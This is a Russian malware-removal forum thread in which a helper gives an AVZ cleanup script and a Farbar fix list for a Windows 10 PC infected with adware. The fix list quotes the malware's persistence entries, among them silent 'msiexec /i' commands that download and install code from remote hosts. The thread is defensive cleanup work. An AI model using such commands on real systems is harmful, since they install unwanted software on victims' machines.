Windows 10 не запускается магазин [not-a-virus:AdWare.Win32.Esprot.alq ]

Printable View

17.05.2017, 15:37
RubichekS

Windows 10 не запускается магазин [not-a-virus:AdWare.Win32.Esprot.alq ]

По смотрите пж логи тормозил пк пользователь проверил его AdwCleaner удалил все что нашла. После этого не пускает не на один сайт в edge и в магазин microsoft.
Все что рекомендовали на форумах не помогло, чистка кэша, переустановка магазина.
В других браузерах сайты грузятся
17.05.2017, 15:44
Info_bot

Уважаемый(ая) [B]RubichekS[/B], спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
29.05.2017, 10:03
RubichekS

Здравствуйте, не смотрели логи?
30.05.2017, 23:44
RubichekS

Скажите пж не смотрели лог?
31.05.2017, 20:03
Vvvyg

[url="http://virusinfo.info/showthread.php?t=7239"]Выполните скрипт в AVZ[/url]:[code]begin
QuarantineFileF('c:\program files (x86)\filter', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.js*, *.tmp*', true, '', 0 , 0);
QuarantineFile('C:\WINDOWS\System32\themctrl.dll', '');
QuarantineFile('C:\WINDOWS\System32\wbiosrvp.dll', '');
QuarantineFile('C:\Program Files (x86)\Corich\ckimersp.exe', '');
QuarantineFile('C:\ProgramData\80a218a409K960\80a218a409K960.dll', '');
QuarantineFile('C:\ProgramData\446a962a357K945\446a962a357K945.dll', '');
QuarantineFile('C:\Program Files (x86)\Ckikachcoihusy\rererle.exe', '');
QuarantineFile('C:\ProgramData\195a484a728K436\195a484a728K436.dll', '');
QuarantineFile('F:\autorun.inf', '');
DeleteFile('C:\Program Files (x86)\filter\2\CppWindowsService.exe', '32');
DeleteFile('C:\WINDOWS\System32\themctrl.dll', '32');
DeleteFile('C:\WINDOWS\System32\wbiosrvp.dll', '32');
DeleteFile('C:\Program Files (x86)\Corich\ckimersp.exe', '32');
DeleteFile('C:\ProgramData\80a218a409K960\80a218a409K960.dll', '32');
DeleteFile('C:\ProgramData\446a962a357K945\446a962a357K945.dll', '32');
DeleteFile('C:\Program Files (x86)\Ckikachcoihusy\rererle.exe', '32');
DeleteFile('C:\ProgramData\195a484a728K436\195a484a728K436.dll', '32');
DeleteFile('F:\autorun.inf', '32');
DeleteFile('C:\Users\konst\Favorites\Links\Интернет.url');
DeleteService('CppWindowsService');
DeleteFileMask('c:\program files (x86)\filter', '*', true);
DeleteFileMask('c:\program files (x86)\corich', '*', true);
DeleteFileMask('c:\programdata\80a218a409k960', '*', true);
DeleteFileMask('c:\programdata\446a962a357k945', '*', true);
DeleteFileMask('c:\program files (x86)\ckikachcoihusy', '*', true);
DeleteFileMask('c:\programdata\195a484a728k436', '*', true);
DeleteDirectory('c:\program files (x86)\filter');
DeleteDirectory('c:\program files (x86)\corich');
DeleteDirectory('c:\programdata\80a218a409k960');
DeleteDirectory('c:\programdata\446a962a357k945');
DeleteDirectory('c:\program files (x86)\ckikachcoihusy');
DeleteDirectory('c:\programdata\195a484a728k436');
ExecuteFile('schtasks.exe', '/delete /TN "Arokergeduhert Cache" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "browser\skypebrowserhost" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "browser\skypebrowserhost-exe" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "flash\flashutil_activex" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "liveupdate\liveupdate" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "Microsoft\dtsaabij\fvrjerga" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "Phewertainfujent" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-skypeapp_11-13-133-0_x64__kzf8qxf38zg5c\skypehost" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-windows" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-windows-photos_17" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-windows-photos_17-313" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-windows-photos_17-313-10010" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-windows-photos_17-313-10010-0_x64__8wekyb3d8bbwe\microsoft" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-windows-photos_17-313-10010-0_x64__8wekyb3d8bbwe\microsoft-photos" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-windowscommunicationsapps_17" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-windowscommunicationsapps_17-8104" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-windowscommunicationsapps_17-8104-42387" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-windowscommunicationsapps_17-8104-42387-0_x64__8wekyb3d8bbwe\hxtsr" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "microsoft-zunevideo_10-17022-10311-0_x64__8wekyb3d8bbwe\video-ui" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "phone\skype" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "Plarety Cache" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "update service\mrupdsrv" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "updater\updater" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "zaxargamebrowser" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "zaxarloader" /F', 0, 15000, true);
ExecuteFile('schtasks.exe', '/delete /TN "{e2803110-78b3-4664-a479-3611a381656a}\vc_redist-x86" /F', 0, 15000, true);
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Services\themctrl\Parameters', 'ServiceDll');
RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Services\wbiosrvp\Parameters', 'ServiceDll');
CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
ExecuteWizard('SCU', 2, 2, true);
RebootWindows(true);
end.[/code]Компьютер перезагрузится.

В папке с AVZ появится архив карантина quarantine.zip, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

Перетащите лог Check_Browsers_LNK.log из папки Autologger на [url=http://dragokas.com/tools/ClearLNK.zip]утилиту ClearLNK[/url]. Отчёт о работе прикрепите.

Скачайте [URL="http://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/"]Farbar Recovery Scan Tool[/URL] и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (можно все в одном архиве).
03.06.2017, 10:57
RubichekS

карантин отправил
Перетащите лог Check_Browsers_LNK.log из папки Autologger - нету
FRST - логи
03.06.2017, 11:54
Vvvyg

Постарайтесь не тянуть несколько дней с выполнением рекомендаций, иначе так не закончим никогда.

[NOTICE]Внимание, куки браузеров будут очищены, при входе на сайты с авторизацией может последовать запрос пароля[/NOTICE]

Запустите FRST/FRST64. Нажмите комбинацию Ctrl+Y - откроется Блокнот. Скопируйте в него следующий код:[CODE]CreateRestorePoint:
(AVAST Software) C:\Users\konst\AppData\Local\background_fault\aswRD.exe
() C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
HKU\S-1-5-21-3315975633-2141049738-579240149-1001\...\Run: [background_fault] => C:\Users\konst\AppData\Local\background_fault\aswRD.exe [1419576 2017-04-06] (AVAST Software) <===== ATTENTION
HKU\S-1-5-21-3315975633-2141049738-579240149-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.ltdmsjq.com/?data=zDlkMj8cNdI1MWLYFjE2OTM3FTNYRWZLOYF8MjHxFUF4MUQWOH== /q
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> No File
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&q={searchTerms}
HKU\S-1-5-21-3315975633-2141049738-579240149-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8
HKU\S-1-5-21-3315975633-2141049738-579240149-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8
SearchScopes: HKLM -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&q={searchTerms}
SearchScopes: HKLM -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&q={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&q={searchTerms}
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&q={searchTerms}
SearchScopes: HKU\S-1-5-21-3315975633-2141049738-579240149-1001 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&q={searchTerms}
SearchScopes: HKU\S-1-5-21-3315975633-2141049738-579240149-1001 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKU\S-1-5-21-3315975633-2141049738-579240149-1001 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&q={searchTerms}
BHO: ExplorerWnd Helper -> {10921475-03CE-4E04-90CE-E2E7EF20C814} -> C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallExplorer.dll => No File
StartMenuInternet: IEXPLORE.EXE - C:\Program Files\Internet Explorer\iexplore.exe hxxp://www.ourluckysites.com/?type=sc&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8
Edge HomeButtonPage: HKU\S-1-5-21-3315975633-2141049738-579240149-1001 -> hxxp://www.ourluckysites.com/?type=hp&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8
FF Homepage: Firefox\Firefox\Profiles\epuqla1a.default -> hxxp://www.searchinme.com/
FF Extension: (HSearch) - C:\Users\konst\AppData\Roaming\Firefox\Firefox\Profiles\epuqla1a.default\Extensions\@E97YHOMI-FU8L-IM23-VUT9-RVDZT7M8XL8H.xpi [2017-05-24] [not signed]
FF Extension: (FF Adr) - C:\Users\konst\AppData\Roaming\Firefox\Firefox\Profiles\epuqla1a.default\Extensions\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.xpi [2017-05-19] [not signed]
FF SearchPlugin: C:\Users\konst\AppData\Roaming\Firefox\Firefox\Profiles\epuqla1a.default\searchplugins\startsearch.xml [2017-05-19]
CHR DefaultProfile: ChromeDefaultData2
CHR HomePage: ChromeDefaultData2 -> hxxp://www.initialpage123.com/?z=8857de97a2bb22874f2253dg7zbt2z3mabbz1z6c4m&from=amz&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&type=hp
CHR StartupUrls: ChromeDefaultData2 -> "hxxp://www.initialpage123.com/?z=8857de97a2bb22874f2253dg7zbt2z3mabbz1z6c4m&from=amz&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&type=hp"
CHR DefaultSearchURL: ChromeDefaultData2 -> hxxp://www.ourluckysites.com/search/?type=ds&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&q={searchTerms}
CHR DefaultSearchKeyword: ChromeDefaultData2 -> ourluckysites
CHR Profile: C:\Users\konst\AppData\Local\Google\Chrome\User Data\ChromeDefaultData [2017-05-16] <==== ATTENTION
CHR Extension: (Домашняя страница Mail.Ru) - C:\Users\konst\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\22E4D3667EB13D03 [2017-04-12]
CHR Extension: (Визуальные Закладки Mail.Ru) - C:\Users\konst\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\609886FA986C0EE7 [2017-04-12]
CHR Extension: (Mail.Ru) - C:\Users\konst\AppData\Local\Google\Chrome\User Data\ChromeDefaultData\Extensions\690BEA88CE7238AD [2017-04-12]
CHR Profile: C:\Users\konst\AppData\Local\Google\Chrome\User Data\ChromeDefaultData2 [2017-05-22] <==== ATTENTION
CHR Extension: (Визуальные Закладки Mail.Ru) - C:\Users\konst\AppData\Local\Google\Chrome\User Data\ChromeDefaultData2\Extensions\epgjfmblhacacphaljkdcjllkomdcjpc [2017-05-17]
CHR HKLM-x32\...\Chrome\Extension: [epgjfmblhacacphaljkdcjllkomdcjpc] - hxxps://clients2.google.com/service/update2/crx
StartMenuInternet: Google Chrome - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe hxxp://www.ourluckysites.com/?type=sc&ts=1496256887&z=d80ab1e9461b683964631fag0z2t7q0o8wdq4bfq1o&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8
HKU\.DEFAULT\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Fanlook\Application\chrome.exe (Google Inc.) <==== ATTENTION
HKU\S-1-5-21-3315975633-2141049738-579240149-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Baglook\Application\chrome.exe (Google Inc.) <==== ATTENTION
HKU\S-1-5-18\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Fanlook\Application\chrome.exe (Google Inc.) <==== ATTENTION
R2 CSHMDR; C:\Users\konst\AppData\Local\CSHMDR\Snare.dll [900096 2017-05-22] (IntertSect Alliance Pty Ltd) [File not signed] <==== ATTENTION
R2 FirefoxU; C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe [98456 2017-05-19] () <==== ATTENTION
R2 glory; C:\Users\konst\AppData\Local\glory\glory.dll [909824 2017-06-01] (glory) [File not signed] <==== ATTENTION
R2 swpsvr; C:\ProgramData\Microsoft\Windows\system\appidsvr.dll [103936 2017-05-18] (TODO: <Company name>) [File not signed]
S2 themctrl; C:\WINDOWS\System32\svchost.exe [47664 2017-03-18] (Microsoft Corporation) <==== ATTENTION (ServiceDLL not found)
S2 themctrl; C:\WINDOWS\SysWOW64\svchost.exe [40904 2017-03-18] (Microsoft Corporation) <==== ATTENTION (ServiceDLL not found)
S2 wbiosrvp; C:\WINDOWS\System32\svchost.exe [47664 2017-03-18] (Microsoft Corporation) <==== ATTENTION (ServiceDLL not found)
S2 wbiosrvp; C:\WINDOWS\SysWOW64\svchost.exe [40904 2017-03-18] (Microsoft Corporation) <==== ATTENTION (ServiceDLL not found)
R2 wiasvc; C:\ProgramData\Microsoft\Windows\Image\capCADF.tmp:ad [212994 ] () [File not signed] <==== ATTENTION
R2 WinSAPSvc; C:\Users\konst\AppData\Roaming\WinSAPSvc\WinSAP.dll [1887232 2017-05-17] () [File not signed] <==== ATTENTION
S3 ksapi64; C:\Windows\system32\drivers\ksapi64.sys [56680 2017-04-04] (Kingsoft Corporation)
S1 iSafeKrnlMon; \??\C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [X] <==== ATTENTION
U2 snare; no ImagePath
2017-05-26 20:02 - 2017-05-31 21:54 - 00000000 ____D C:\Users\konst\AppData\Local\terana
2017-05-25 14:58 - 2017-06-03 10:42 - 00000000 ____D C:\Users\konst\AppData\Local\background_fault
2017-05-25 13:22 - 2017-05-25 14:57 - 00000000 ____D C:\Users\konst\AppData\Local\snare
2017-05-24 15:18 - 2017-05-24 15:18 - 00000000 _____ C:\WINDOWS\SysWOW64\1111
2017-05-23 20:00 - 2017-05-23 20:00 - 00000000 _____ C:\WINDOWS\SysWOW64\1
2017-05-19 20:53 - 2017-05-19 20:53 - 00000000 ____D C:\Users\konst\AppData\Local\Baglook
2017-05-19 20:52 - 2017-05-19 20:52 - 00000000 ____D C:\Program Files (x86)\Baglook
2017-05-19 20:51 - 2016-05-23 05:41 - 00055056 _____ (Elex do Brasil Participações Ltda) C:\WINDOWS\system32\Drivers\iSafeKrnlBoot.sys
2017-05-19 20:51 - 2016-05-19 09:42 - 00052392 _____ (Elex do Brasil Participações Ltda) C:\WINDOWS\system32\Drivers\iSafeNetFilter.sys
2017-05-19 20:50 - 2017-06-03 10:43 - 00000092 _____ C:\Users\Public\Documents\temp.dat
2017-05-19 20:50 - 2017-06-03 10:43 - 00000000 _____ C:\Users\Public\Documents\report.dat
2017-05-18 16:51 - 2017-06-02 15:04 - 00003676 _____ C:\WINDOWS\System32\Tasks\Milimili
2017-05-18 16:51 - 2017-06-02 15:04 - 00000000 ____D C:\Users\konst\AppData\Roaming\WinSAPSvc
2017-05-18 16:51 - 2017-05-24 15:17 - 00000000 ____D C:\Users\Все пользователи\BIT
2017-05-18 16:51 - 2017-05-24 15:17 - 00000000 ____D C:\ProgramData\BIT
2017-05-17 13:12 - 2017-05-17 13:12 - 00000000 ____D C:\ProgramData\360TSBackup
2017-05-16 21:38 - 2017-05-16 21:38 - 00000375 _____ C:\WINDOWS\system32\Drivers\etc\hosts.ics
2017-05-14 21:35 - 2017-05-15 00:10 - 00000000 ____D C:\Program Files\MCS7JYV3OW
2017-05-14 20:54 - 2017-05-16 18:17 - 00000000 ____D C:\Users\konst\AppData\Roaming\Akolyqundom
2017-05-14 20:54 - 2017-05-14 20:54 - 00000000 ____D C:\Program Files (x86)\Arokergeduhert Cache
2017-05-14 20:53 - 2017-05-15 00:10 - 00000000 ____D C:\Program Files\OOQFW9U66Z
2017-05-14 20:53 - 2017-05-14 20:55 - 00000000 ____D C:\Users\konst\AppData\Local\Deloch
2017-05-14 20:52 - 2017-05-15 21:34 - 00000000 ____D C:\Program Files\9RB1VYSS0H
2017-05-14 20:47 - 2017-05-15 21:34 - 00000000 ____D C:\Program Files\U9G0FEFH4U
2017-05-14 20:47 - 2017-05-15 21:34 - 00000000 ____D C:\Program Files\LX57XL9C8I
2017-05-14 20:47 - 2017-05-15 21:34 - 00000000 ____D C:\Program Files\AXZBIEQP9R
2017-05-16 18:17 - 2017-04-26 19:32 - 00000000 ____D C:\Users\konst\AppData\Roaming\Drorecultsesaly
C:\Users\konst\AppData\Local\background_fault\aswRD.exe
C:\Users\konst\vokyabz.exe
Task: {09172488-26BC-4D38-A4B3-BE76D15E2B0B} - \qqpcmgr\11-8-17919-214\qqpctray -> No File <==== ATTENTION
Task: {09228632-8877-4F8F-9AA3-C623FD7B6764} - \qqpcmgr\11-8-17919-214\qqpcsofttraytips-exe -> No File <==== ATTENTION
Task: {0CC125CD-773D-4CC6-9DAA-B2F092C59507} - \qqpcmgr\11-8-17919 -> No File <==== ATTENTION
Task: {0DC7FE21-44CC-4AE5-A0EC-3816E87E8ED5} - \qqpcmgr\11-8-17919-214\qmdl -> No File <==== ATTENTION
Task: {15876B45-7B9F-414C-9EAB-8E5F52503188} - System32\Tasks\NVIDIA GeForce Experience SelfUpdate_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA GeForce Experience.exe [2017-05-03] (NVIDIA Corporation)
Task: {1897AF0F-C44D-4FE4-823B-1E920C4F3D0B} - \tencent\androidserver\1-0-0 -> No File <==== ATTENTION
Task: {19AF52BA-2FC8-4ECD-8E53-78F2395AFD50} - \gplyra\gplyra\gplyra -> No File <==== ATTENTION
Task: {2731C00F-60DF-4FD4-B628-A5C27FE09CC3} - System32\Tasks\Milimili => C:\Program Files (x86)\MIO\MIO.exe [2017-05-17] () <==== ATTENTION
Task: {2C4D276E-CB42-4591-A646-A8AC90F48BC4} - \qqpcmgr\11-8-17919-214\qmspeedupplugin\phonerocket\dock_5 -> No File <==== ATTENTION
Task: {31BEC882-6984-4912-B3FB-073CFB36DB73} - \qqpcmgr\11-8-17919-214\qqpcavsetting -> No File <==== ATTENTION
Task: {31F6C7ED-2E24-4170-95F9-03B4FA43AB77} - System32\Tasks\Microsoft\Windows\DeviceSettings\Phewertainfujent => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8&d=20170514 /q <==== ATTENTION
Task: {3269C58F-1EBE-4A3D-A0D4-420BE05CE890} - \qqpcmgr\11-8-17919-214\qqpcsofttraytips -> No File <==== ATTENTION
Task: {33427667-0532-4087-8A9D-DD3B9FF92B7E} - \Xl5jVVxcVWIx -> No File <==== ATTENTION
Task: {337C60C9-8CF0-4180-8AA9-3E5747A72A95} - \qqpcmgr\11-8-17919-214\qqpcleakscan -> No File <==== ATTENTION
Task: {37C8339B-0582-4EEE-B921-DF6E560EED78} - \tencent\androidserver\1-0 -> No File <==== ATTENTION
Task: {3CF604F9-9D89-427F-BBC5-57B1BC83AA4B} - \temp\qqpcmgr_v11 -> No File <==== ATTENTION
Task: {4CDB62F7-26D0-426B-9172-31F432171F1F} - \temp\9d89021b\uninstall -> No File <==== ATTENTION
Task: {509A0158-24E0-4F6E-99E8-571025639A08} - \tencent\androidserver\1 -> No File <==== ATTENTION
Task: {52B6AAD1-FA66-4826-92F1-1D0442358923} - \tencent\androidserver\1-0-0-512\androidserver -> No File <==== ATTENTION
Task: {537BAA89-7890-4411-95AE-63B07649F5D0} - \vnlgp\vnlgp\vnlgp -> No File <==== ATTENTION
Task: {56D96EFE-E3E4-420D-9335-1551EC577857} - \tencent\androidserver\1-0-0-512\androidserverup -> No File <==== ATTENTION
Task: {56E00FD3-DB0C-411C-8CC7-71A1B1E41677} - System32\Tasks\utorrent\updates\3-5-0_43580\utorrentie => Rundll32.exe "C:\ProgramData\371a299a636K166\371a299a636K166.dll",aKecRQRn
Task: {643404FF-A01D-4ECE-9625-8107781FB8D5} - System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [2017-05-03] (NVIDIA Corporation)
Task: {65902C92-2EF0-4E26-84F7-562777417EA3} - \temp\apphelperv9 -> No File <==== ATTENTION
Task: {68BDD4FE-0B92-4D34-B840-9DD24E34012D} - System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8} => C:\Program Files\NVIDIA Corporation\Update Core\NvProfileUpdater64.exe [2017-05-03] (NVIDIA Corporation)
Task: {6915997E-484E-4652-9624-5C4A22AF7FC4} - \temp\is-qnv9i-tmp\zaxarsetup-4-001-1827 -> No File <==== ATTENTION
Task: {6EEDF83D-69F5-4148-8E02-1C1CEBCA7159} - \qqpcmgr\11-8-17919-214\tpkupdate -> No File <==== ATTENTION
Task: {6FA4742F-CEEC-48C2-ACFD-2BBC022B074D} - \qqpcmgr\11-8-17919-214\qqpcpatch -> No File <==== ATTENTION
Task: {794D3E96-55D2-496C-A4B8-F91DB9E90B2C} - System32\Tasks\utorrent\updates\3 => Rundll32.exe "C:\ProgramData\371a299a636K166\371a299a636K166.dll",aKecRQRn <==== ATTENTION
Task: {799AC654-A37D-49AA-B0F3-433D7D5EBBD9} - System32\Tasks\Microsoft\Windows\WCM\WiFiTask
Task: {7DF48B55-BBD3-47AC-9AC2-AB163CBBCF4C} - \qqpcmgr\11-8-17919-214\qmlspping -> No File <==== ATTENTION
Task: {82F28E21-6898-4850-943E-66CDED5CF414} - System32\Tasks\Microsoft\Office\OfficeTelemetryAgentFallBack2016 => C:\Program Files\Microsoft Office\Office16\msoia.exe [2015-07-31] (Microsoft Corporation)
Task: {849CD092-02D7-44E1-A3F1-CF6C3B482AF1} - System32\Tasks\utorrent\updates\3-5-0_43580\utorrentie-exe => Rundll32.exe "C:\ProgramData\519a623a418K104\519a623a418K104.dll",aKecRQRn
Task: {84EFCB90-C997-4BE2-8FEA-2B74CC947675} - \temp\accelerator -> No File <==== ATTENTION
Task: {86F6693D-63A9-49F7-9C07-8DD4B02D582C} - \temp\ytab_m_1_big -> No File <==== ATTENTION
Task: {86FB31BE-7B4C-4B6D-A824-86DCE134CEF3} - \temp\vc_redist-x86 -> No File <==== ATTENTION
Task: {87FB6E8F-0195-49F0-B857-42AE1AF008B6} - System32\Tasks\utorrent\utorrent-exe => Rundll32.exe "C:\ProgramData\371a299a636K166\371a299a636K166.dll",aKecRQRn
Task: {8C710297-1C7B-4172-AB9A-4401F951E209} - System32\Tasks\utorrent\updates\3-5 => Rundll32.exe "C:\ProgramData\371a299a636K166\371a299a636K166.dll",aKecRQRn
